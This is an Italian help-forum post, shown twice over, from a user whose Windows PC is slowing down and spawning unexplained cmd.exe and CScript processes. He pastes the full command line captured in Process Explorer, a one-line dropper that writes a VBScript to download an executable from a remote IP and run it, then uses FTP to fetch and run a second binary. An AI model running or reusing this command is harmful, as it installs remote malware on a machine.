Elettronico94
13-10-2008, 16:05
Ciao a tutti!
Sono nuovo da queste parti, anche se spesso ho trovato in questo forum molte soluzioni a problemi che mi sono presentati in passato.
Adesso ho davvero un problema che non riesco a risolvere: apro il TaskManager e trovo tra i processi in esecuzione ben TRE cmd.exe, ho cercato su internet cos'è questo processo e ho letto che si tratta del Prompt di DOS che al momento NON sta girando sul computer. Il problema si è presentato qualche giorno fa, prima era assente. Adesso il PC è davvero più lento...
Ho fatto scansioni con AVG Free ma nulla...
Ora mi sono accorto che Zone Alarm mi avvisa che un certo CScript.exe vuole collegarsi ad internet (io rifiuto sempre), dopo ciò mi appare un nuovo cmd.exe nel TaskManager e sento il classico DING di Windows di quando c'è un errore o qualcosa di simile.
Ho provato a vedere cosa mi dice Process Explorer, guardando le proprietaà di uno dei CMD; ecco alcune righe:
Path:
D:\WINNT\system32\cmd.exe
Command line:
cmd /c echo dim HTTPGET>c:\1.vbs&echo dim Data>>c:\1.vbs&echo dim ExeURL>>c:\1.vbs&echo dim LocalPath>>c:\1.vbs&echo.>>c:\1.vbs&echo ExeURL = "http://5.255.14.217:7783/84785_mssql.exe">>c:\1.vbs&echo LocalPath = "c:\Rtsecar.exe">>c:\1.vbs&echo.>>c:\1.vbs&echo Set HTTPGET = CreateObject("Microsoft" ^& chr(46) ^& "XMLHTTP")>>c:\1.vbs&echo Set Data = CreateObject("ADODB" ^& chr(46) ^& "Stream")>>c:\1.vbs&echo.>>c:\1.vbs&echo HTTPGET.Open "GET", ExeURL, false>>c:\1.vbs&echo HTTPGET.Send>>c:\1.vbs&echo.>>c:\1.vbs&echo Const adTypeBinary = ^1>>c:\1.vbs&echo Const adSaveCreateOverWrite = ^2>>c:\1.vbs&echo.>>c:\1.vbs&echo Data.Type = adTypeBinary>>c:\1.vbs&echo Data.Open>>c:\1.vbs&echo Data.Write HTTPGET.ResponseBody>>c:\1.vbs&echo Data.SaveToFile LocalPath, adSaveCreateOverWrite>>c:\1.vbs&cscript //Nologo /B c:\1.vbs&del c:\1.vbs&start c:\Rtsecar.exe&echo open 5.255.14.217 16290>x&echo get 27031_mssql.exe>>x&echo quit>>x&ftp -n -s:x&27031_mssql.exe&del x&exit
Current directory:
D:\WINNT\system32\
NON ho assolutamente idea di che cosa sia, ma mi preoccupa parecchio, anche perché con il TaskManager quando tento di terminarli mi dice che non posso... con Process Exporer invece sì, ci riesco... Mi sapete aiutare?
Vi ringrazio in anticipo
P.S.: NON ho molte conoscenze in informatica, quindi mi scuso in anticipo se non comprenderò qualcosa... sono più un Elettronico :D
Sono nuovo da queste parti, anche se spesso ho trovato in questo forum molte soluzioni a problemi che mi sono presentati in passato.
Adesso ho davvero un problema che non riesco a risolvere: apro il TaskManager e trovo tra i processi in esecuzione ben TRE cmd.exe, ho cercato su internet cos'è questo processo e ho letto che si tratta del Prompt di DOS che al momento NON sta girando sul computer. Il problema si è presentato qualche giorno fa, prima era assente. Adesso il PC è davvero più lento...
Ho fatto scansioni con AVG Free ma nulla...
Ora mi sono accorto che Zone Alarm mi avvisa che un certo CScript.exe vuole collegarsi ad internet (io rifiuto sempre), dopo ciò mi appare un nuovo cmd.exe nel TaskManager e sento il classico DING di Windows di quando c'è un errore o qualcosa di simile.
Ho provato a vedere cosa mi dice Process Explorer, guardando le proprietaà di uno dei CMD; ecco alcune righe:
Path:
D:\WINNT\system32\cmd.exe
Command line:
cmd /c echo dim HTTPGET>c:\1.vbs&echo dim Data>>c:\1.vbs&echo dim ExeURL>>c:\1.vbs&echo dim LocalPath>>c:\1.vbs&echo.>>c:\1.vbs&echo ExeURL = "http://5.255.14.217:7783/84785_mssql.exe">>c:\1.vbs&echo LocalPath = "c:\Rtsecar.exe">>c:\1.vbs&echo.>>c:\1.vbs&echo Set HTTPGET = CreateObject("Microsoft" ^& chr(46) ^& "XMLHTTP")>>c:\1.vbs&echo Set Data = CreateObject("ADODB" ^& chr(46) ^& "Stream")>>c:\1.vbs&echo.>>c:\1.vbs&echo HTTPGET.Open "GET", ExeURL, false>>c:\1.vbs&echo HTTPGET.Send>>c:\1.vbs&echo.>>c:\1.vbs&echo Const adTypeBinary = ^1>>c:\1.vbs&echo Const adSaveCreateOverWrite = ^2>>c:\1.vbs&echo.>>c:\1.vbs&echo Data.Type = adTypeBinary>>c:\1.vbs&echo Data.Open>>c:\1.vbs&echo Data.Write HTTPGET.ResponseBody>>c:\1.vbs&echo Data.SaveToFile LocalPath, adSaveCreateOverWrite>>c:\1.vbs&cscript //Nologo /B c:\1.vbs&del c:\1.vbs&start c:\Rtsecar.exe&echo open 5.255.14.217 16290>x&echo get 27031_mssql.exe>>x&echo quit>>x&ftp -n -s:x&27031_mssql.exe&del x&exit
Current directory:
D:\WINNT\system32\
NON ho assolutamente idea di che cosa sia, ma mi preoccupa parecchio, anche perché con il TaskManager quando tento di terminarli mi dice che non posso... con Process Exporer invece sì, ci riesco... Mi sapete aiutare?
Vi ringrazio in anticipo
P.S.: NON ho molte conoscenze in informatica, quindi mi scuso in anticipo se non comprenderò qualcosa... sono più un Elettronico :D